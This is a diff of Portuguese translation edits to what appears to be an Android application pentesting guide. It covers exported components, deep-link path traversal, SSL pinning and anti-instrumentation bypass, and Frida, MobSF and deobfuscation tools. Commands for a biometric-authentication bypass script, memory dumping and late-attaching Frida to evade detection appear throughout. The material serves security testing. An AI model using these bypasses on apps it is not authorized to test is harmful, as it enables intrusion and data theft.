||||
**Armazenamento Interno**
|
||||
|
||||
@ -166,7 +166,7 @@ Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os cript
|
||||
|
||||
**Uso de Algoritmos Inseguros e/ou Obsoletos**
|
||||
|
||||
Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **verificações de autorização**, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, devem ser usados hashes resistentes a força bruta com sal.
|
||||
Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **verificações de autorização**, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, devem ser usados hashes resistentes a **força bruta** com sal.
|
||||
|
||||
### Outras verificações
|
||||
|
||||
@ -194,11 +194,11 @@ Leia a página a seguir para aprender como acessar facilmente o código C# de ap
|
||||
../xamarin-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Aplicações Superpacked
|
||||
### Aplicações Superempacotadas
|
||||
|
||||
De acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked é um algoritmo Meta que comprime o conteúdo de uma aplicação em um único arquivo. O blog fala sobre a possibilidade de criar um aplicativo que descompacte esse tipo de aplicativo... e uma maneira mais rápida que envolve **executar a aplicação e coletar os arquivos descompactados do sistema de arquivos.**
|
||||
De acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superempacotado é um algoritmo Meta que comprime o conteúdo de uma aplicação em um único arquivo. O blog fala sobre a possibilidade de criar um aplicativo que descompacte esse tipo de aplicativo... e uma maneira mais rápida que envolve **executar a aplicação e coletar os arquivos descompactados do sistema de arquivos.**
|
||||
|
||||
### Análise de Código Estático Automatizada
|
||||
### Análise Estática de Código Automatizada
|
||||
|
||||
A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** ao **escanear** o **código** da aplicação. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam ao ferramenta os **lugares** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam ao ferramenta **lugares perigosos** onde a entrada maliciosa do usuário pode causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indica uma vulnerabilidade.
|
||||
|
||||
@ -294,9 +294,9 @@ Os desenvolvedores devem ter cuidado ao expor **informações de depuração** p
|
||||
> Note que a partir de **versões mais recentes que Android 4.0**, **as aplicações só podem acessar seus próprios logs**. Portanto, as aplicações não podem acessar os logs de outros aplicativos.\
|
||||
> De qualquer forma, ainda é recomendado **não registrar informações sensíveis**.
|
||||
|
||||
**Cache de Buffer de Copiar/Colar**
|
||||
**Cache do Buffer de Copiar/Colar**
|
||||
|
||||
O framework **baseado em clipboard** do Android permite a funcionalidade de copiar e colar em aplicativos, mas apresenta um risco, pois **outros aplicativos** podem **acessar** o clipboard, potencialmente expondo dados sensíveis. É crucial **desabilitar funções de copiar/colar** para seções sensíveis de uma aplicação, como detalhes de cartão de crédito, para evitar vazamentos de dados.
|
||||
O framework **baseado em clipboard** do Android permite a funcionalidade de copiar e colar em aplicativos, mas apresenta um risco, pois **outros aplicativos** podem **acessar** o clipboard, potencialmente expondo dados sensíveis. É crucial **desativar funções de copiar/colar** para seções sensíveis de uma aplicação, como detalhes de cartão de crédito, para evitar vazamentos de dados.
|
||||
|
||||
**Logs de Crash**
|
||||
|
||||
@ -306,9 +306,9 @@ Como pentester, **tente dar uma olhada nesses logs**.
|
||||
|
||||
**Dados de Análise Enviados a Terceiros**
|
||||
|
||||
As aplicações frequentemente integram serviços como Google Adsense, que podem inadvertidamente **vazar dados sensíveis** devido à implementação inadequada pelos desenvolvedores. Para identificar possíveis vazamentos de dados, é aconselhável **interceptar o tráfego da aplicação** e verificar se há informações sensíveis sendo enviadas para serviços de terceiros.
|
||||
As aplicações frequentemente integram serviços como Google Adsense, que podem inadvertidamente **vazar dados sensíveis** devido à implementação inadequada pelos desenvolvedores. Para identificar potenciais vazamentos de dados, é aconselhável **interceptar o tráfego da aplicação** e verificar se há informações sensíveis sendo enviadas para serviços de terceiros.
|
||||
|
||||
### SQLite DBs
|
||||
### Bancos de Dados SQLite
|
||||
|
||||
A maioria das aplicações usará **bancos de dados SQLite internos** para salvar informações. Durante o pentest, dê uma **olhada** nos **bancos de dados** criados, os nomes das **tabelas** e **colunas** e todos os **dados** salvos, pois você pode encontrar **informações sensíveis** (o que seria uma vulnerabilidade).\
|
||||
Os bancos de dados devem estar localizados em `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases`.
|
||||
@ -325,11 +325,11 @@ Drozer é uma ferramenta útil para **explorar atividades exportadas, serviços
|
||||
### Explorando Atividades Exportadas
|
||||
|
||||
[**Leia isso se você quiser refrescar o que é uma Atividade Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Lembre-se também de que o código de uma atividade começa no método **`onCreate`**.
|
||||
Além disso, lembre-se de que o código de uma atividade começa no método **`onCreate`**.
|
||||
|
||||
**Bypass de Autorização**
|
||||
|
||||
Quando uma Atividade é exportada, você pode invocar sua tela de um aplicativo externo. Portanto, se uma atividade com **informações sensíveis** for **exportada**, você pode **burlar** os mecanismos de **autenticação** **para acessá-la.**
|
||||
Quando uma Atividade é exportada, você pode invocar sua tela de um aplicativo externo. Portanto, se uma atividade com **informações sensíveis** for **exportada**, você poderia **burlar** os mecanismos de **autenticação** **para acessá-la.**
|
||||
|
||||
[**Aprenda como explorar atividades exportadas com Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
@ -353,27 +353,27 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
Se o tapjacking não for prevenido, você pode abusar da atividade exportada para fazer o **usuário realizar ações inesperadas**. Para mais informações sobre [**o que é Tapjacking siga o link**](#tapjacking).
|
||||
|
||||
### Explorando Content Providers - Acessando e manipulando informações sensíveis
|
||||
### Explorando Provedores de Conteúdo - Acessando e manipulando informações sensíveis
|
||||
|
||||
[**Leia isso se você quiser relembrar o que é um Content Provider.**](android-applications-basics.md#content-provider)\
|
||||
Content providers são basicamente usados para **compartilhar dados**. Se um aplicativo tiver content providers disponíveis, você pode ser capaz de **extrair dados sensíveis** deles. Também é interessante testar possíveis **injeções SQL** e **Path Traversals**, pois podem ser vulneráveis.
|
||||
[**Leia isso se você quiser relembrar o que é um Provedor de Conteúdo.**](android-applications-basics.md#content-provider)\
|
||||
Provedores de conteúdo são basicamente usados para **compartilhar dados**. Se um aplicativo tiver provedores de conteúdo disponíveis, você pode ser capaz de **extrair dados sensíveis** deles. Também é interessante testar possíveis **injeções SQL** e **Path Traversals**, pois podem ser vulneráveis.
|
||||
|
||||
[**Aprenda como explorar Content Providers com Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
[**Aprenda como explorar Provedores de Conteúdo com Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **Explorando Services**
|
||||
### **Explorando Serviços**
|
||||
|
||||
[**Leia isso se você quiser relembrar o que é um Service.**](android-applications-basics.md#services)\
|
||||
Lembre-se de que as ações de um Service começam no método `onStartCommand`.
|
||||
[**Leia isso se você quiser relembrar o que é um Serviço.**](android-applications-basics.md#services)\
|
||||
Lembre-se de que as ações de um Serviço começam no método `onStartCommand`.
|
||||
|
||||
Um service é basicamente algo que **pode receber dados**, **processá-los** e **retornar** (ou não) uma resposta. Então, se um aplicativo estiver exportando alguns serviços, você deve **verificar** o **código** para entender o que ele está fazendo e **testá-lo** **dinamicamente** para extrair informações confidenciais, contornar medidas de autenticação...\
|
||||
[**Aprenda como explorar Services com Drozer.**](drozer-tutorial/index.html#services)
|
||||
Um serviço é basicamente algo que **pode receber dados**, **processá-los** e **retornar** (ou não) uma resposta. Então, se um aplicativo estiver exportando alguns serviços, você deve **verificar** o **código** para entender o que ele está fazendo e **testá-lo** **dinamicamente** para extrair informações confidenciais, contornar medidas de autenticação...\
|
||||
[**Aprenda como explorar Serviços com Drozer.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Explorando Broadcast Receivers**
|
||||
|
||||
[**Leia isso se você quiser relembrar o que é um Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Lembre-se de que as ações de um Broadcast Receiver começam no método `onReceive`.
|
||||
|
||||
Um broadcast receiver estará esperando por um tipo de mensagem. Dependendo de como o receiver lida com a mensagem, ele pode ser vulnerável.\
|
||||
Um broadcast receiver estará aguardando um tipo de mensagem. Dependendo de como o receptor lida com a mensagem, ele pode ser vulnerável.\
|
||||
[**Aprenda como explorar Broadcast Receivers com Drozer.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Explorando Schemes / Deep links**
|
||||
@ -403,17 +403,17 @@ Toda vez que você encontrar um deep link, verifique se **não está recebendo d
|
||||
**Parâmetros no caminho**
|
||||
|
||||
Você **também deve verificar se algum deep link está usando um parâmetro dentro do caminho** da URL como: `https://api.example.com/v1/users/{username}`, nesse caso você pode forçar uma travessia de caminho acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Note que se você encontrar os endpoints corretos dentro da aplicação, pode ser capaz de causar um **Open Redirect** (se parte do caminho for usada como nome de domínio), **assumir conta** (se você puder modificar os detalhes dos usuários sem token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [info sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Note que se você encontrar os endpoints corretos dentro da aplicação, pode ser capaz de causar um **Open Redirect** (se parte do caminho for usada como nome de domínio), **assumir a conta** (se você puder modificar os detalhes dos usuários sem token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [info sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Mais exemplos**
|
||||
|
||||
Um [relatório de bug bounty interessante](https://hackerone.com/reports/855618) sobre links (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Falhas de Inspeção e Verificação da Camada de Transporte
|
||||
### Inspeção e Falhas de Verificação da Camada de Transporte
|
||||
|
||||
- **Os certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum que esses aplicativos ignorem avisos e aceitem certificados autoassinados ou, em alguns casos, revertam para o uso de conexões HTTP.
|
||||
- **As negociações durante o handshake SSL/TLS às vezes são fracas**, empregando suítes de cifra inseguras. Essa vulnerabilidade torna a conexão suscetível a ataques man-in-the-middle (MITM), permitindo que atacantes decriptografem os dados.
|
||||
- **Vazamento de informações privadas** é um risco quando aplicativos se autenticam usando canais seguros, mas depois se comunicam por canais não seguros para outras transações. Essa abordagem falha em proteger dados sensíveis, como cookies de sessão ou detalhes do usuário, de interceptação por entidades maliciosas.
|
||||
- **O vazamento de informações privadas** é um risco quando os aplicativos se autenticam usando canais seguros, mas depois se comunicam por canais não seguros para outras transações. Essa abordagem falha em proteger dados sensíveis, como cookies de sessão ou detalhes do usuário, de interceptação por entidades maliciosas.
|
||||
|
||||
#### Verificação de Certificado
|
||||
|
||||
@ -425,9 +425,9 @@ SSL Pinning é uma medida de segurança onde o aplicativo verifica o certificado
|
||||
|
||||
#### Inspeção de Tráfego
|
||||
|
||||
Para inspecionar o tráfego HTTP, é necessário **instalar o certificado da ferramenta de proxy** (por exemplo, Burp). Sem instalar esse certificado, o tráfego criptografado pode não ser visível através do proxy. Para um guia sobre como instalar um certificado CA personalizado, [**clique aqui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
Para inspecionar o tráfego HTTP, é necessário **instalar o certificado da ferramenta proxy** (por exemplo, Burp). Sem instalar esse certificado, o tráfego criptografado pode não ser visível através do proxy. Para um guia sobre como instalar um certificado CA personalizado, [**clique aqui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Aplicativos que visam **API Level 24 e acima** requerem modificações na Configuração de Segurança da Rede para aceitar o certificado CA do proxy. Essa etapa é crítica para inspecionar tráfego criptografado. Para instruções sobre como modificar a Configuração de Segurança da Rede, [**consulte este tutorial**](make-apk-accept-ca-certificate.md).
|
||||
Aplicativos que visam **API Level 24 e acima** requerem modificações na Configuração de Segurança da Rede para aceitar o certificado CA do proxy. Este passo é crítico para inspecionar tráfego criptografado. Para instruções sobre como modificar a Configuração de Segurança da Rede, [**consulte este tutorial**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Se **Flutter** estiver sendo usado, você precisa seguir as instruções nesta [**página**](flutter.md). Isso ocorre porque, apenas adicionar o certificado ao armazenamento não funcionará, pois o Flutter tem sua própria lista de CAs válidas.
|
||||
|
||||
@ -452,7 +452,7 @@ Quando o SSL Pinning é implementado, contorná-lo se torna necessário para ins
|
||||
Se você quiser fazer pentesting em aplicativos Android, precisa saber como usar o Frida.
|
||||
|
||||
- Aprenda a usar o Frida: [**Tutorial Frida**](frida-tutorial/index.html)
|
||||
- Alguma "GUI" para ações com Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Algumas "GUI" para ações com Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection é ótimo para automatizar o uso do Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Você pode encontrar alguns scripts Frida incríveis aqui: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Tente contornar mecanismos de anti-debugging / anti-frida carregando o Frida como indicado em [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (ferramenta [linjector](https://github.com/erfur/linjector-rs))
|
||||
@ -467,7 +467,7 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md
|
||||
|
||||
Verifique se o aplicativo está armazenando informações sensíveis na memória que não deveria estar armazenando, como senhas ou mnemônicos.
|
||||
|
||||
Usando [**Fridump3**](https://github.com/rootbsd/fridump3), você pode despejar a memória do app com:
|
||||
Usando [**Fridump3**](https://github.com/rootbsd/fridump3), você pode despejar a memória do aplicativo com:
|
||||
```bash
|
||||
# With PID
|
||||
python3 fridump3.py -u <PID>
|
||||
@ -492,7 +492,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Bypass de Impressão Digital/Biometria**
|
||||
|
||||
Usando o seguinte script Frida, pode ser possível **burlar a autenticação por impressão digital** que aplicativos Android podem estar realizando para **proteger certas áreas sensíveis:**
|
||||
Usando o seguinte script Frida, pode ser possível **bypassar a autenticação por impressão digital** que aplicativos Android podem estar realizando para **proteger certas áreas sensíveis:**
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
@ -530,7 +530,7 @@ O perigo reside em permitir que atacantes acionem componentes de aplicativo não
|
||||
Provavelmente você conhece esse tipo de vulnerabilidades da Web. Você deve ter cuidado especial com essas vulnerabilidades em uma aplicação Android:
|
||||
|
||||
- **Injeção SQL:** Ao lidar com consultas dinâmicas ou Content-Providers, certifique-se de usar consultas parametrizadas.
|
||||
- **Injeção de JavaScript (XSS):** Verifique se o suporte a JavaScript e Plugins está desativado para quaisquer WebViews (desativado por padrão). [Mais informações aqui](webview-attacks.md#javascript-enabled).
|
||||
- **Injeção de JavaScript (XSS):** Verifique se o suporte a JavaScript e Plugins está desativado para qualquer WebView (desativado por padrão). [Mais informações aqui](webview-attacks.md#javascript-enabled).
|
||||
- **Inclusão de Arquivo Local:** WebViews devem ter acesso ao sistema de arquivos desativado (ativado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mais informações aqui](webview-attacks.md#javascript-enabled).
|
||||
- **Cookies Eternos**: Em vários casos, quando a aplicação android finaliza a sessão, o cookie não é revogado ou pode até ser salvo no disco.
|
||||
- [**Secure Flag** em cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
@ -560,16 +560,16 @@ O MobSF também permite que você **diff/Compare** análises e integre **VirusTo
|
||||
**MobSF** também pode ser muito útil para **análise dinâmica** em **Android**, mas nesse caso você precisará instalar o MobSF e **genymotion** em seu host (uma VM ou Docker não funcionará). _Nota: Você precisa **iniciar primeiro uma VM no genymotion** e **depois o MobSF.**_\
|
||||
O **analisador dinâmico do MobSF** pode:
|
||||
|
||||
- **Dump application data** (URLs, logs, clipboard, screenshots feitas por você, screenshots feitas por "**Exported Activity Tester**", emails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas screenshots, você precisa pressionar quando quiser uma screenshot ou precisa pressionar "**Exported Activity Tester**" para obter screenshots de todas as atividades exportadas.
|
||||
- Capturar **HTTPS traffic**
|
||||
- Usar **Frida** para obter **runtime** **information**
|
||||
- **Dump de dados da aplicação** (URLs, logs, área de transferência, capturas de tela feitas por você, capturas de tela feitas por "**Exported Activity Tester**", e-mails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas capturas de tela, você precisa pressionar quando quiser uma captura de tela ou precisa pressionar "**Exported Activity Tester**" para obter capturas de tela de todas as atividades exportadas.
|
||||
- Capturar **tráfego HTTPS**
|
||||
- Usar **Frida** para obter **informações em tempo de execução**
|
||||
|
||||
A partir das versões **Android > 5**, ele **iniciará automaticamente o Frida** e definirá configurações de **proxy** globais para **capturar** o tráfego. Ele capturará apenas o tráfego do aplicativo testado.
|
||||
|
||||
**Frida**
|
||||
|
||||
Por padrão, ele também usará alguns Scripts Frida para **bypass SSL pinning**, **root detection** e **debugger detection** e para **monitorar APIs interessantes**.\
|
||||
O MobSF também pode **invocar atividades exportadas**, capturar **screenshots** delas e **salvá-las** para o relatório.
|
||||
Por padrão, ele também usará alguns Scripts Frida para **bypass SSL pinning**, **detecção de root** e **detecção de depurador** e para **monitorar APIs interessantes**.\
|
||||
O MobSF também pode **invocar atividades exportadas**, capturar **capturas de tela** delas e **salvá-las** para o relatório.
|
||||
|
||||
Para **iniciar** o teste dinâmico, pressione o botão verde: "**Start Instrumentation**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts Frida e "**Live API Monitor**" para ver todas as invocações para métodos hookados, argumentos passados e valores retornados (isso aparecerá após pressionar "Start Instrumentation").\
|
||||
O MobSF também permite que você carregue seus próprios **scripts Frida** (para enviar os resultados dos seus scripts Frida para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Load**" e pressionar "**Start Instrumentation**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
|
||||
@ -578,18 +578,18 @@ O MobSF também permite que você carregue seus próprios **scripts Frida** (par
|
||||
|
||||
Além disso, você tem algumas funcionalidades auxiliares do Frida:
|
||||
|
||||
- **Enumerate Loaded Classes**: Ele imprimirá todas as classes carregadas
|
||||
- **Capture Strings**: Ele imprimirá todas as strings capturadas enquanto usa o aplicativo (muito barulhento)
|
||||
- **Capture String Comparisons**: Pode ser muito útil. Ele **mostrará as 2 strings sendo comparadas** e se o resultado foi Verdadeiro ou Falso.
|
||||
- **Enumerate Class Methods**: Coloque o nome da classe (como "java.io.File") e ele imprimirá todos os métodos da classe.
|
||||
- **Search Class Pattern**: Pesquisar classes por padrão
|
||||
- **Trace Class Methods**: **Trace** uma **classe inteira** (veja entradas e saídas de todos os métodos da classe). Lembre-se de que, por padrão, o MobSF traça vários métodos interessantes da API Android.
|
||||
- **Enumerar Classes Carregadas**: Ele imprimirá todas as classes carregadas
|
||||
- **Capturar Strings**: Ele imprimirá todas as strings capturadas enquanto usa o aplicativo (muito barulhento)
|
||||
- **Capturar Comparações de Strings**: Pode ser muito útil. Ele **mostrará as 2 strings sendo comparadas** e se o resultado foi Verdadeiro ou Falso.
|
||||
- **Enumerar Métodos de Classe**: Coloque o nome da classe (como "java.io.File") e ele imprimirá todos os métodos da classe.
|
||||
- **Pesquisar Padrão de Classe**: Pesquisar classes por padrão
|
||||
- **Rastrear Métodos de Classe**: **Rastrear** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se de que, por padrão, o MobSF rastreia vários métodos interessantes da API Android.
|
||||
|
||||
Uma vez que você tenha selecionado o módulo auxiliar que deseja usar, você precisa pressionar "**Start Intrumentation**" e verá todas as saídas em "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
O MobSF também traz um shell com alguns comandos **adb**, **comandos MobSF** e comandos comuns de **shell** na parte inferior da página de análise dinâmica. Alguns comandos interessantes:
|
||||
O Mobsf também traz um shell com alguns comandos **adb**, **comandos MobSF** e comandos comuns de **shell** na parte inferior da página de análise dinâmica. Alguns comandos interessantes:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -614,7 +614,7 @@ Uma vez que você termine a análise dinâmica com MobSF, você pode pressionar
|
||||
|
||||
### Análise Dinâmica Assistida com Inspeckage
|
||||
|
||||
Você pode obter a ferramenta em [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Você pode obter a ferramenta de [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Esta ferramenta usará alguns **Hooks** para te informar **o que está acontecendo na aplicação** enquanto você realiza uma **análise dinâmica**.
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
@ -625,7 +625,7 @@ Esta é uma **ótima ferramenta para realizar análise estática com uma GUI**
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Esta ferramenta é projetada para procurar várias **vulnerabilidades relacionadas à segurança em aplicações Android**, seja no **código fonte** ou em **APKs empacotados**. A ferramenta também é **capaz de criar um "Proof-of-Concept" APK implantável** e **comandos ADB**, para explorar algumas das vulnerabilidades encontradas (Atividades expostas, intents, tapjacking...). Assim como com o Drozer, não há necessidade de rootear o dispositivo de teste.
|
||||
Esta ferramenta é projetada para procurar várias **vulnerabilidades relacionadas à segurança em aplicações Android**, seja no **código fonte** ou em **APKs empacotados**. A ferramenta também é **capaz de criar um APK "Proof-of-Concept" implantável** e **comandos ADB**, para explorar algumas das vulnerabilidades encontradas (Atividades expostas, intents, tapjacking...). Assim como com o Drozer, não há necessidade de rootear o dispositivo de teste.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -659,7 +659,7 @@ super-analyzer {apk_file}
|
||||
|
||||
StaCoAn é uma ferramenta **multiplataforma** que ajuda desenvolvedores, caçadores de bugs e hackers éticos a realizar [análise de código estático](https://en.wikipedia.org/wiki/Static_program_analysis) em aplicativos móveis.
|
||||
|
||||
O conceito é que você arrasta e solta seu arquivo de aplicativo móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ela gerará um relatório visual e portátil para você. Você pode ajustar as configurações e listas de palavras para obter uma experiência personalizada.
|
||||
O conceito é que você arraste e solte seu arquivo de aplicativo móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ela gerará um relatório visual e portátil para você. Você pode ajustar as configurações e listas de palavras para obter uma experiência personalizada.
|
||||
|
||||
Baixe a [última versão](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
@ -667,7 +667,7 @@ Baixe a [última versão](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
|
||||
AndroBugs Framework é um sistema de análise de vulnerabilidades Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicações Android.\
|
||||
O AndroBugs Framework é um sistema de análise de vulnerabilidades para Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicações Android.\
|
||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
@ -687,7 +687,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** é um **M**obile **A**pplication **R**everse engineering e **A**nalysis Framework. É uma ferramenta que reúne ferramentas comumente usadas para engenharia reversa e análise de aplicativos móveis, para ajudar na testagem de aplicativos móveis contra as ameaças de segurança móvel da OWASP. Seu objetivo é tornar essa tarefa mais fácil e amigável para desenvolvedores de aplicativos móveis e profissionais de segurança.
|
||||
**MARA** é um **M**obile **A**pplication **R**everse engineering e **A**nalysis Framework. É uma ferramenta que reúne ferramentas comumente usadas para engenharia reversa e análise de aplicativos móveis, para auxiliar na testagem de aplicativos móveis contra as ameaças de segurança móvel da OWASP. Seu objetivo é tornar essa tarefa mais fácil e amigável para desenvolvedores de aplicativos móveis e profissionais de segurança.
|
||||
|
||||
Ele é capaz de:
|
||||
|
||||
@ -710,7 +710,7 @@ Observe que dependendo do serviço e configuração que você usa para ofuscar o
|
||||
|
||||
Do [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** é uma ferramenta de linha de comando de código aberto que reduz, otimiza e ofusca código Java. É capaz de otimizar bytecode, bem como detectar e remover instruções não utilizadas. ProGuard é software livre e é distribuído sob a Licença Pública Geral GNU, versão 2.
|
||||
|
||||
ProGuard é distribuído como parte do SDK do Android e é executado ao construir a aplicação em modo de lançamento.
|
||||
ProGuard é distribuído como parte do SDK do Android e é executado ao construir o aplicativo em modo de lançamento.
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
@ -720,7 +720,7 @@ Encontre um guia passo a passo para deofuscar o apk em [https://blog.lexfo.fr/de
|
||||
|
||||
- carregar um recurso como um InputStream;
|
||||
- alimentar o resultado a uma classe que herda de FilterInputStream para descriptografá-lo;
|
||||
- fazer alguma ofuscação inútil para desperdiçar alguns minutos do tempo de um reversor;
|
||||
- fazer alguma ofuscação inútil para desperdiçar alguns minutos de tempo de um reversor;
|
||||
- alimentar o resultado descriptografado a um ZipInputStream para obter um arquivo DEX;
|
||||
- finalmente carregar o DEX resultante como um Recurso usando o método `loadDex`.
|
||||
|
||||
@ -730,7 +730,7 @@ Encontre um guia passo a passo para deofuscar o apk em [https://blog.lexfo.fr/de
|
||||
|
||||
Você pode enviar um APK ofuscado para a plataforma deles.
|
||||
|
||||
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
|
||||
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
|
||||
|
||||
Esta é uma ferramenta LLM para encontrar quaisquer vulnerabilidades de segurança potenciais em aplicativos android e deofuscar o código do aplicativo android. Usa a API pública Gemini do Google.
|
||||
|
||||
@ -744,13 +744,13 @@ APKiD fornece informações sobre **como um APK foi feito**. Ele identifica muit
|
||||
|
||||
### Manual
|
||||
|
||||
[Leia este tutorial para aprender alguns truques sobre **como reverter ofuscação personalizada**](manual-deobfuscation.md)
|
||||
[Leia este tutorial para aprender algumas dicas sobre **como reverter ofuscação personalizada**](manual-deobfuscation.md)
|
||||
|
||||
## Labs
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui a coleção dos últimos frameworks, tutoriais e labs de diferentes especialistas em segurança e pesquisadores para engenharia reversa e análise de malware.
|
||||
AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui a coleção dos últimos frameworks, tutoriais e labs de diferentes especialistas e pesquisadores de segurança para engenharia reversa e análise de malware.
|
||||
|
||||
## Referências
|
||||
|
||||
|
||||
@ -10,7 +10,7 @@ Esta página fornece um fluxo de trabalho prático para recuperar a análise din
|
||||
- Verificações de Frida/debugger (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), escaneando /proc, classpath, libs carregadas
|
||||
- Anti-debug nativo: ptrace(), syscalls, anti-attach, breakpoints, inline hooks
|
||||
- Verificações de early init: Application.onCreate() ou hooks de início de processo que travam se a instrumentação estiver presente
|
||||
- Pinning TLS: TrustManager/HostnameVerifier personalizados, OkHttp CertificatePinner, pinning Conscrypt, pins nativos
|
||||
- Pining TLS: TrustManager/HostnameVerifier personalizados, OkHttp CertificatePinner, pinning Conscrypt, pins nativos
|
||||
|
||||
## Passo 1 — Vitória rápida: ocultar root com Magisk DenyList
|
||||
|
||||
@ -39,9 +39,9 @@ Esses normalmente interrompem verificações de root/debug em Java, varreduras d
|
||||
|
||||
- Codeshare: https://codeshare.frida.re/
|
||||
|
||||
## Passo 3 — Bypass de detectores de tempo de inicialização anexando-se tardiamente
|
||||
## Passo 3 — Bypass de detectores de tempo de inicialização conectando-se tarde
|
||||
|
||||
Muitas detecções só são executadas durante a criação do processo/onCreate(). A injeção no tempo de criação (-f) ou gadgets são detectados; anexar-se após o carregamento da UI pode passar despercebido.
|
||||
Muitas detecções só são executadas durante a criação do processo/onCreate(). A injeção no tempo de criação (-f) ou gadgets são detectados; conectar-se após o carregamento da UI pode passar despercebido.
|
||||
```bash
|
||||
# Launch the app normally (launcher/adb), wait for UI, then attach
|
||||
frida -U -n com.example.app
|
||||
@ -50,7 +50,7 @@ aobjection --gadget com.example.app explore # if using gadget
|
||||
```
|
||||
Se isso funcionar, mantenha a sessão estável e prossiga para mapeamento e verificações de stub.
|
||||
|
||||
## Passo 4 — Mapear a lógica de detecção via Jadx e busca de strings
|
||||
## Passo 4 — Mapeie a lógica de detecção via Jadx e busca de strings
|
||||
|
||||
